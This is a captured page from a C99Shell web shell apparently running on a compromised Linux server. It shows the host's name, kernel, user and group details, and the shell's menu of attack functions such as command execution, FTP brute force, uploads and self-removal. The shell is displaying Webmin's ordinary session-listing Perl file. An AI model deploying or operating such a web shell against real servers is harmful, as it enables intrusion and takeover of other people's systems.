!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/acl/   drwxr-xr-x
Free 28.92 GB of 117.98 GB (24.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     system_info.pl (2.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
our (%text, $remote_user, %sessiondb, $module_name);
do 'acl-lib.pl';

# list_system_info(&data, &in)
# Show recent logins
sub list_system_info
{
my ($data, $in) = @_;
my @rv;
my %miniserv;
&get_miniserv_config(\%miniserv);
&open_session_db(\%miniserv);
my @logins;
foreach my $k (keys %sessiondb) {
    next if ($k =~ /^1111111/);
    next if (!$sessiondb{$k});
    my ($user, $ltime, $lip) = split(/\s+/, $sessiondb{$k});
    next if ($user ne $remote_user && $user ne "!".$remote_user);
    push(@logins, [ $user, $ltime, $lip, $k ]);
    }
if (@logins) {
    @logins = sort { $b->[1] <=> $a->[1] } @logins;
    if (@logins > 5) {
        @logins = @logins[0..4];
        }
    my $html = &ui_columns_start([ $text{'sessions_host'},
                       $text{'sessions_login'},
                       $text{'sessions_state'},
                       $text{'sessions_action'} ]);
    my $open = 0;
    foreach my $l (@logins) {
        my $state;
        my $candel = 0;
        if ($l->[0] =~ /^\!/) {
            $state = $text{'sessions_out'};
            }
        elsif ($l->[3] eq $main::session_id ||
               $l->[3] eq &hash_session_id($main::session_id)) {
            $state = "<font color=green>$text{'sessions_this'}</a>";
            }
        else {
            $state = $text{'sessions_in'};
            $candel = 1;
            if ($l->[2] ne $ENV{'REMOTE_HOST'}) {
                $open++;
                $state = "<font color=orange>$state</font>";
                }
            }
        my @links;
        if (&foreign_available("webminlog")) {
              push(@links,
                 &ui_link("@{[&get_webprefix()]}/webminlog/search.cgi?uall=1&mall=1&tall=1&wall=1&fall=1&sid=$l->[3]",
                 $text{'sessions_lview'}))
            }
        if ($candel) {
              push(@links,
                 &ui_link("@{[&get_webprefix()]}/acl/delete_session.cgi?id=$l->[3]&redirect_ref=1",
                 $text{'sessions_kill'}))
            }
        $html .= &ui_columns_row([
                  $l->[2],
                  &make_date($l->[1]),
                  $state,
              &ui_links_row(\@links) ]);
        }
    $html .= &ui_columns_end();
    if (&foreign_available("acl")) {
        $html .= &ui_link("@{[&get_webprefix()]}/acl/list_sessions.cgi",
                  $text{'sessions_all'}, undef,
                  "title=\"$text{'sessions_title'}\"");
        }
    push(@rv, { 'type' => 'html',
            'desc' => $text{'logins_title'},
            'open' => $open,
            'id' => $module_name.'_logins',
            'priority' => -100,
            'html' => $html });
    }
return @rv;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--